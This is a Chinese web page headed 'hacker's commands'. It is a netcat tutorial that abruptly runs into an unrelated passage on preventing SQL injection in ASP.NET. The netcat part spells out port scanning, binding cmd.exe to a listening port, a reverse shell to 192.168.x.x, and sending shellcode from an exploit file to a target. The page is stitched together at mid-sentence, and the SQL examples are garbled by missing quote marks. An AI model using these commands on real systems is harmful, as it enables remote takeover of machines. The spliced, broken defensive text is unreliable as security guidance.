黑客的指令

				nc的说明及使用
				
				
				nc的说明及使用 
				
				
				nc的说明及使用 
				netcat被誉为网络安全界的‘瑞士军刀’，相信没有什么人不认识它吧...... 
				一个简单而有用的工具，透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具， 
				能够直接由其它程序和脚本轻松驱动。同时，它也是一个功能强大的网络调试和探测工具，能够建立你需要的几 
				乎所有类型的网络连接，还有几个很有意思的内置功能(详情请看下面的使用方法)。 
				
				在中国，它的WINDOWS版有两个版本，一个是原创者Chris Wysopal写的原版本，另一个是由‘红与黑’编译 
				后的新‘浓缩’版。‘浓缩’版的主程序只有10多KB（10多KB的NC是不能完成下面所说的第4、第5种使用方法， 
				有此功能的原版NC好象要60KB：P），虽然“体积”小，但很完成很多工作。 
				======================================================
				软件介绍： 
				
				工具名：Netcat 
				作者：Hobbit && Chris Wysopal 
				网址：http://www.atstake.com/research/tools/network_utilities/ 
				类别：开放源码 
				平台：Linux/BSD/Unix/Windows 
				WINDOWS下版本号：[v1.10 NT] 
				
				===================================================================================================== 
				参数介绍： 
				
				nc.exe -h即可看到各参数的使用方法。 
				基本格式：nc [-options] hostname port[s] [ports] ... 
				nc -l -p port [options] [hostname] [port] 
				
				-d 后台模式 
				-e prog 程序重定向，一旦连接，就执行 [危险!!] 
				-g gateway source-routing hop point[s], up to 8 
				-G num source-routing pointer: 4, 8, 12, ... 
				-h 帮助信息 
				-i secs 延时的间隔 
				-l 监听模式，用于入站连接 
				-L 连接关闭后,仍然继续监听 
				-n 指定数字的IP地址，不能用hostname 
				-o file 记录16进制的传输 
				-p port 本地端口号 
				-r 随机本地及远程端口 
				-s addr 本地源地址 
				-t 使用TELNET交互方式 
				-u UDP模式 
				-v 详细输出--用两个-v可得到更详细的内容 
				-w secs timeout的时间 
				-z 将输入输出关掉--用于扫描时 
				
				端口的表示方法可写为M-N的范围格式。 
				
				
				===================================================================================================== 
				基本用法： 
				
				大概有以下几种用法： 
				
				1)连接到REMOTE主机，例子： 
				格式：nc -nvv 192.168.x.x 80 
				讲解：连到192.168.x.x的TCP80端口 
				
				
				2)监听LOCAL主机，例子： 
				格式：nc -l -p 80 
				讲解：监听本机的TCP80端口 
				
				
				3)扫描远程主机，例子： 
				格式：nc -nvv -w2 -z 192.168.x.x 80-445 
				讲解：扫描192.168.x.x的TCP80到TCP445的所有端口 
				
				
				4)REMOTE主机绑定SHELL，例子： 
				格式：nc -l -p 5354 -t -e c:winntsystem32cmd.exe 
				讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 
				
				
				5)REMOTE主机绑定SHELL并反向连接，例子： 
				格式：nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354 
				讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 
				
				
				以上为最基本的几种用法（其实NC的用法还有很多， 
				当配合管道命令“|”与重定向命令“”等等命令功能更强大......）。 
				
				===================================================================================================== 
				高级用法： 
				
				6)作攻击程序用，例子： 
				格式1：type.exe c:exploit.txt|nc -nvv 192.168.x.x 80 
				格式2：nc -nvv 192.168.x.x 80 < c:exploit.txt 
				讲解：连接到192.168.x.x的80端口，并在其管道中发送c:exploit.txt的内容(两种格式确有相同的效果， 
				真是有异曲同工之妙:P) 
				
				附：c:exploit.txt为shellcode等 
				
				
				7)作蜜罐用[1]，例子： 
				格式：nc -L -p 80 
				讲解：使用-L(注意L是大写)可以不停地监听某一个端口，直到ctrl+c为止 
				
				
				8)作蜜罐用[2]，例子： 
				格式：nc -L -p 80 > c:log.txt 
				讲解：使用-L可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到c:log.txt中，如果把‘>’ 
				改为‘>>’即可以追加日志 
				
				附：c:log.txt为日志等 
				
				
				9)作蜜罐用[3]，例子： 
				格式1：nc -L -p 80 < c:honeypot.txt 
				格式2：type.exe c:honeypot.txt|nc -L -p 80 
				讲解：使用-L可以不停地监听某一个端口，直到ctrl+c为止，并把c:honeypot.txt的内容‘送’入其 
				管道中 
				如果攻击者知道应用会将表单中输入的内容直接用于验证身份的查询，他就会尝试输入某些特殊的SQL字符串篡改查询改变其原来的功能，欺骗系统授予访问权限。 　　系统环境不同，攻击者可能造成的损害也不同，这主要由应用访问数据库的安全权限决定。如果用户的帐户具有管理员或其他比较高级的权限，攻击者就可能对数据库的表执行各种他想要做的操作，包括添加、删除或更新数据，甚至可能直接删除表。 二、如何防范？ 　　好在要防止ASP.NET应用被SQL注入式攻击闯入并不是一件特别困难的事情，只要在利用表单输入的内容构造SQL命令之前，把所有输入内容过滤一番就可以了。过滤输入内容可以按多种方式进行。 　　⑴ 对于动态构造SQL查询的场合，可以使用下面的技术： 　　第一：替换单引号，即把所有单独出现的单引号改成两个单引号，防止攻击者修改SQL命令的含义。再来看前面的例子，“SELECT * from Users WHERE login = or 1=1 AND password = or 1=1”显然会得到与“SELECT * from Users WHERE login = or 1=1 AND password = or 1=1”不同的结果。 　　第二：删除用户输入内容中的所有连字符，防止攻击者构造出类如“SELECT * from Users WHERE login = mas -- AND password =”之类的查询，因为这类查询的后半部分已经被注释掉，不再有效，攻击者只要知道一个合法的用户登录名称，根本不需要知道用户的密码就可以顺利获得访问权限。 　　第三：对于用来执行查询的数据库帐户，限制其权限。用不同的用户帐户执行查询、插入、更新、删除操作。由于隔离了不同帐户可执行的操作，因而也就防止了原本用于执行SELECT命令的地方却被用于执行INSERT、UPDATE或DELETE命令。 　　⑵ 用存储过程来执行所有的查询。SQL参数的传递方式将防止攻击者利用单引号和连字符实施攻击。此外，它还使得数据库权限可以限制到只允许特定的存储过程执行，所有的用户输入必须遵从被调用的存储过程的安全上下文，这样就很难再发生注入式攻击了。 　　⑶ 限制表单或查询字符串输入的长度。如果用户的登录名字最多只有10个字符，那么不要认可表单中输入的10个以上的字符，这将大大增加攻击者在SQL命令中插入有害代码的难度。 　　⑷ 检查用户输入的合法性，确信输入的内容只包含合法的数据。数据检查应当在客户端和服务器端都执行——之所以要执行服务器端验证，是为了弥补客户端验证机制脆弱的安全性。 　　在客户端，攻击者完全有可能获得网页的源代码，修改验证合法性的脚本（或者直接删除脚本），然后将非法内容通过修改后的表单提交给服务器。因此，要保证验证操作确实已经执行，唯一的办法就是在服务器端也执行验证。你可以使用许多内建的验证对象，例如RegularExpressionValidator，它们能够自动生成验证用的客户端脚本，当然你也可以插入服务器端的方法调用。如果找不到现成的验证对象，你可以通过CustomValidator自己创建一个。 　　⑸ 将用户登录名称、密码等数据加密保存。加密用户输入的数据，然后再将它与数据库中保存的数据比较，这相当于对用户输入的数据进行了“消毒”处理，用户输入的数据不再对数据库有任何特殊的意义，从而也就防止了攻击者注入SQL命令。System.Web.Security.FormsAuthentication类有一个HashPasswordForStoringInConfigFile，非常适合于对输入数据进行消毒处理。 　　⑹ 检查提取数据的查询所返回的记录数量。如果程序只要求返回一个记录，但实际返回的记录却超过一行，那就当作出错处理。